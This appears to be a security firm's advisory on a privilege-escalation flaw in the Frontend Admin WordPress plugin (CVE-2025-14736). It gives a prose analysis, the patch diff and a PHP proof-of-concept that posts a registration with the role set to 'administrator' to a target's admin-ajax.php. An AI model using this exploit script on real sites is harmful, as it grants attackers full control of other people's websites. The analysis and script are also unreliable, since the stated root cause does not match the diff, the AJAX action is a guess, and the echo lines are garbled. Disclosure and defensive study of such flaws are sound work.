Atomic Edge analysis of CVE-2025-14736:
This vulnerability is an unauthenticated privilege escalation in the Frontend Admin by DynamiApps WordPress plugin. The flaw allows attackers to register as site administrators by manipulating a Role field in a user registration form. The CVSS score of 9.8 reflects the critical severity of this issue.
Atomic Edge research identifies the root cause as insufficient validation of user-supplied role values in the plugin’s form handling functions. The vulnerability resides in the ‘validate_value’, ‘pre_update_value’, and ‘get_fields_display’ functions. The code diff shows the plugin’s core version number changed from 3.28.29 to 3.28.30, indicating the patched release. The primary vulnerable code path involves processing form submissions that contain a Role field, where the submitted role parameter is not properly sanitized or authorized before being assigned to a new user.
Exploitation requires an attacker to locate a publicly accessible user registration form created with the vulnerable plugin that includes a Role selection field. The attacker submits a registration request with a maliciously crafted role parameter, such as ‘administrator’ or an equivalent role slug. The attack vector is a standard HTTP POST request to the form’s submission endpoint, which is typically a WordPress AJAX handler or a custom form processing URL. The payload manipulates the role field value to bypass intended restrictions.
The patch analysis reveals the fix involves multiple changes across several files. In ‘acf-frontend-form-element/main/frontend/forms/actions/post.php’, the patch removes the ‘admin_form’ post type from selection options in three locations (lines 145, 597, and 807). This prevents forms from being associated with internal administrative post types. The patch also adds a check to set the form’s post_id to ‘none’ if the post_type is ‘admin_form’ (line 524). In ‘acf-frontend-form-element/main/frontend/forms/classes/display.php’, the patch enforces that a form must have a valid ‘form_key’ meta value to be rendered (lines 118-124). Before the patch, a missing form_key would default to the form’s ID, potentially allowing malformed forms to process user input.
Successful exploitation grants an unauthenticated attacker complete administrative control over the WordPress site. This includes the ability to create, modify, and delete any content, install or remove plugins and themes, modify user accounts, and execute arbitrary code via plugin or theme editors. The impact is total site compromise, leading to data exposure, defacement, backdoor installation, and further network penetration.
--- a/acf-frontend-form-element/acf-frontend.php
+++ b/acf-frontend-form-element/acf-frontend.php
@@ -3,7 +3,7 @@
* Plugin Name: Frontend Admin
* Plugin URI: https://www.dynamiapps.com/frontend-admin/
* Description: This awesome plugin allows you to easily display admin forms to the frontend of your site so your clients can easily edit content on their own from the frontend.
- * Version: 3.28.29
+ * Version: 3.28.30
* Author: Shabti Kaplan
* Author URI: https://www.dynamiapps.com/
* Text Domain: frontend-admin
--- a/acf-frontend-form-element/main/frontend/forms/actions/post.php
+++ b/acf-frontend-form-element/main/frontend/forms/actions/post.php
@@ -143,6 +143,8 @@
public function get_form_builder_options( $form ) {
$post_types = acf_get_pretty_post_types();
+ unset($post_types['admin_form']);
+
$options = array(
array(
'key' => 'save_to_post',
@@ -520,6 +522,11 @@
if( is_array( $form['post_type'] ) && ! in_array( 'any', $form['post_type'] ) && ! in_array( $post_type, $form['post_type'] ) ){
$form['post_id'] = 'none';
}
+
+ if( 'admin_form' == $form['post_type'] ){
+ $form['post_id'] = 'none';
+ $form['hide_if_no_post'] = true;
+ }
}
@@ -588,6 +595,9 @@
$post_type_choices = feadmin_get_post_type_choices();
+ //remove admin_form
+ unset($post_type_choices['admin_form']);
+
$widget->add_control(
'post_to_edit',
[
@@ -795,8 +805,10 @@
// 2. when user confirms email 3. when admin approves submission
// 4. on woocommerce purchase
$post_type_choices = feadmin_get_post_type_choices();
+ unset($post_type_choices['admin_form']);
+
$widget->add_control(
'post_to_edit',
array(
--- a/acf-frontend-form-element/main/frontend/forms/classes/display.php
+++ b/acf-frontend-form-element/main/frontend/forms/classes/display.php
@@ -116,6 +116,12 @@
return false;
}
+ //make sure the form has a key
+ $form_key = get_post_meta( $form->ID, 'form_key', 1 );
+ if ( ! $form_key ) {
+ return false;
+ }
+
$form_args = $form->post_content ? maybe_unserialize( $form->post_content ) : array();
$form_args['ID'] = $form->ID;
@@ -123,12 +129,7 @@
$form_args['status'] = $form->post_status;
- $form_key = get_post_meta( $form->ID, 'form_key', 1 );
-
- if ( ! $form_key ) {
- $form_key = $form->ID;
- }
-
+
$form_args['id'] = $form_key;
$form_args = $this->get_form_fields( $form->ID, $form_args );
--- a/acf-frontend-form-element/main/plugin.php
+++ b/acf-frontend-form-element/main/plugin.php
@@ -102,7 +102,7 @@
define( 'FEA_URL', $data['plugin_url'] );
define( 'FEA_DIR', $data['plugin_dir'] );
define( 'FEA_PLUGIN', $data['plugin'] );
- define( 'FEA_VERSION', '3.28.29' );
+ define( 'FEA_VERSION', '3.28.30' );
do_action( 'front_end_admin_loaded' );
// Add tutorial videos to plugin item on plugins page
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14736 - Frontend Admin by DynamiApps <= 3.28.29 - Unauthenticated Privilege Escalation to Administrator via Role Form Field
<?php
$target_url = 'http://vulnerable-site.com/';
// Step 1: Identify a Frontend Admin user registration form on the target site.
// This often requires reconnaissance to find a page with a [fe_admin_form] shortcode or similar.
// For this PoC, we assume the form ID or key is known or discovered.
$form_id = 123; // Replace with actual target form ID
// Step 2: Craft the malicious registration payload.
// The exploit manipulates the 'role' field value to 'administrator'.
$payload = [
'action' => 'frontend_admin/form_submit', // Common AJAX action for this plugin
'form_id' => $form_id,
'fields' => [
'user_email' => 'attacker@example.com',
'user_login' => 'attacker_user',
'user_pass' => 'Password123!',
'role' => 'administrator', // Malicious parameter for privilege escalation
// Other required fields for the specific form would go here
],
'nonce' => '', // Nonce may be required; some forms may not validate it properly.
];
// Step 3: Send the exploit request via cURL.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 4: Check for success indicators.
echo "HTTP Response Code: $http_coden";
echo "Response Body: $responsen";
// A successful response may contain a success message or redirect URL.
// The attacker can then log in with the created administrator credentials.
?>